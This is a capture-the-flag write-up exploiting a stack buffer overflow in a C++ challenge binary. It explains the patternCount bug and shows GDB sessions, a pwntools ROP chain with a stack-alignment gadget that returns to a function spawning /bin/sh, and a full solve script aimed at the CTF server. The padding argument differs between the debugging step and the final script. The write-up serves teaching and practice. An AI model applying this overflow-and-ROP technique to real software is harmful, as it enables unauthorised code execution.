The Vulnerability
We have a binary with debug info and the following source code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void Setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
#define SYMBOLS "ABCDEF"
__attribute__((used, hot, noinline))
void Flag() {
system("/bin/sh");
}
void GenerateGreeting(
char patternSymbol,
int patternCount
) {
char output[2312] = { 0 };
int outputCursor = 0;
for (int i = 0; i < patternCount; i += 1) {
output[outputCursor++] = patternSymbol;
}
output[outputCursor++] = '\n';
printf("enter greeting: \n");
outputCursor += read(0, &output[outputCursor], 128);
for (int i = 0; i < patternCount; i += 1) {
output[outputCursor++] = patternSymbol;
}
output[outputCursor++] = '\n';
printf("%s\n", output);
}
int main() {
Setup();
printf("enter pattern character: \n");
char patternSymbol;
scanf("%c", &patternSymbol);
getchar();
printf("enter number of symbols: \n");
char numberString[512];
int readAmount = read(0, numberString, sizeof(numberString) - 1);
numberString[readAmount] = '\0';
int mappings[sizeof(SYMBOLS)] = { 0 };
for (int i = 0; i < readAmount; i += 1) {
char current = numberString[i];
int index = 0;
for (const auto symbol: SYMBOLS) {
if (current == symbol) {
mappings[index] += 1;
}
index += 1;
}
}
int patternCount = 0;
int power = 1;
for (int i = 0; i < sizeof(SYMBOLS); ++i) {
if (mappings[i] > 3) {
abort();
}
patternCount += power * mappings[i];
power *= 3;
}
GenerateGreeting(patternSymbol, patternCount);
}
checksec indicates that the binary has no canary or PIE and there’s a flag function, so we’re probably going to be redirecting execution to the flag function with a buffer overflow.
There is a buffer in main, but the call to read on line 50 is safe.
The GenerateGreeting function writes to a buffer of size 2312 and it does not check if outputCursor gets too big, so if we can make patternCount big enough, we will get a buffer overflow and we can use the call to read on line 30 to overwrite the return address.
The code in main first uses the mappings array to count the number of times each of the characters in SYMBOLS occurs in our input.
Then it computes patternCount with a process that is similar to interpreting the counts as a base-3 integer, except that the digit 3 is allowed.
SYMBOLS is the string literal "ABCDEF", and in C++, string literals are const char arrays with size equal to the number of characters plus one for the null terminator.
Therefore, sizeof(SYMBOLS) is 7, and the range-based for loop will loop over the six letters and the null character at the end.
The maximum value of patternCount that we can get is 3 + 3 * 3 + 3 * 3^2 + … + 3 * 3^6 = 3279, which is enough to overflow the buffer.
Exploitation
Overwriting the Return Address
My initial plan was to make patternCount equal to the offset from the buffer to the return address so that I can overwrite the return address with the address of the flag function using the read call.
I got the offset by staring at the raw assembly, but I later found out that since the binary had debugging information, I could have had GDB print the assembly with the corresponding source code using disas/m or made GDB calculate the offset for me:
gef➤ b GenerateGreeting
Breakpoint 1 at 0x401216: file main.cpp, line 22.
gef➤ r
...
gef➤ info frame
Stack level 0, frame at 0x7fffffffdf40:
rip = 0x401216 in GenerateGreeting (main.cpp:22); saved rip = 0x4014a9
called by frame at 0x7fffffffe1b0
source language c++.
Arglist at 0x7fffffffdf30, args: patternSymbol=0x41, patternCount=0xd
Locals at 0x7fffffffdf30, Previous frame's sp is 0x7fffffffdf40
Saved registers:
rbp at 0x7fffffffdf30, rip at 0x7fffffffdf38
gef➤ p (void*)0x7fffffffdf38 - output
$1 = 0x928
0x928 is 2344, and I subtracted 3 * 3^6 for three null characters to get 157, which is 12211 in base 3.
I therefore had my solve script send b"ABCCDDE\0\0\0" for the “number of symbols”:
from pwn import *
exe = ELF("./main")
context.binary = exe
r = process([exe.path])
rop = ROP(exe)
rop.call("_Z4Flagv", ())
log.info(rop.dump())
r.sendlineafter(b"character: \n", b"A")
r.sendlineafter(b"symbols: \n", b"ABCCDDE\0\0\0")
r.sendafter(b"greeting: \n", rop.chain())
Debugging
When I ran the solve script, the return address didn’t get overwritten with the address of the flag function.
I stepped through the code with GDB and noticed that at some point, the loop counter i suddenly gets a big value which makes the loop stop early.
It turns out that this is because i is stored on the stack after the buffer and gets overwritten:
gef➤ p $rbp-output
$1 = 0x920
gef➤ p $rbp-(void*)&i
$2 = 0x8
This still gets us close enough to the return address though. I used a pattern to find how many bytes we have to write before reaching the return address:
r.sendafter(b"greeting: \n", cyclic(128))
gef➤ u 32
...
gef➤ info frame
Stack level 0, frame at 0x7ffffd6798a0:
rip = 0x4012c8 in GenerateGreeting (main.cpp:32); saved rip = 0x6166616161656161
called by frame at 0x7ffffd6798a8
source language c++.
Arglist at 0x7ffffd679890, args: patternSymbol=0x41, patternCount=0x928
Locals at 0x7ffffd679890, Previous frame's sp is 0x7ffffd6798a0
Saved registers:
rbp at 0x7ffffd679890, rip at 0x7ffffd679898
gef➤ pattern search -n 4 0x7ffffd679898
[+] Searching for '0x7ffffd679898'
[+] Found at offset 14 (little-endian search) likely
Then I tried adding this many bytes of padding before the flag function address:
r.sendafter(b"greeting: \n", rop.generatePadding(0, 14) + rop.chain())
However, the program segfaults inside the loop that writes the pattern characters after the greeting:

I noticed that outputCursor is 0x61626180, which indicates that it was overwritten by our padding since 0x61 is 'a'.
So outputCursor is also stored after the buffer, and we overwrote it with a big value which caused the loop to segfault when it attempts to write to output[outputCursor].
To fix this, I added four null bytes to the padding to overwrite outputCursor back to 0:
r.sendafter(b"greeting: \n", b"BB\0\0\0\0" + rop.generatePadding(6, 8) + rop.chain())
When I ran this, I got a segfault on a movaps instruction and rsp ends with 8, which indicates we have a stack alignment problem:

I padded the ROP chain with a ret instruction and now the exploit works:
rop = ROP(exe)
rop.raw(rop.find_gadget(["ret"]))
rop.call("_Z4Flagv", ())
log.info(rop.dump())
[ctf@fedora-ctf ~]$ ./solve.py
[*] '/home/ctf/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/home/ctf/main': pid 2863
[*] Loaded 5 cached gadgets for './main'
[*] 0x0000: 0x401016 ret
0x0008: 0x4011e7 _Z4Flagv()
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACA
$ ls
bin Documents foo main Music Public Templates
Desktop Downloads ghidra main.cpp Pictures solve.py Videos
Full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./main")
context.binary = exe
# r = process([exe.path])
# r = gdb.debug([exe.path])
r = remote("challs.htsp.ro", 8004)
rop = ROP(exe)
rop.raw(rop.find_gadget(["ret"]))
rop.call("_Z4Flagv", ())
log.info(rop.dump())
r.sendlineafter(b"character: \n", b"A")
r.sendlineafter(b"symbols: \n", b"ABCCDDE\0\0\0")
r.sendafter(b"greeting: \n", b"BB\0\0\0\0" + rop.generatePadding(0, 8) + rop.chain())
r.interactive()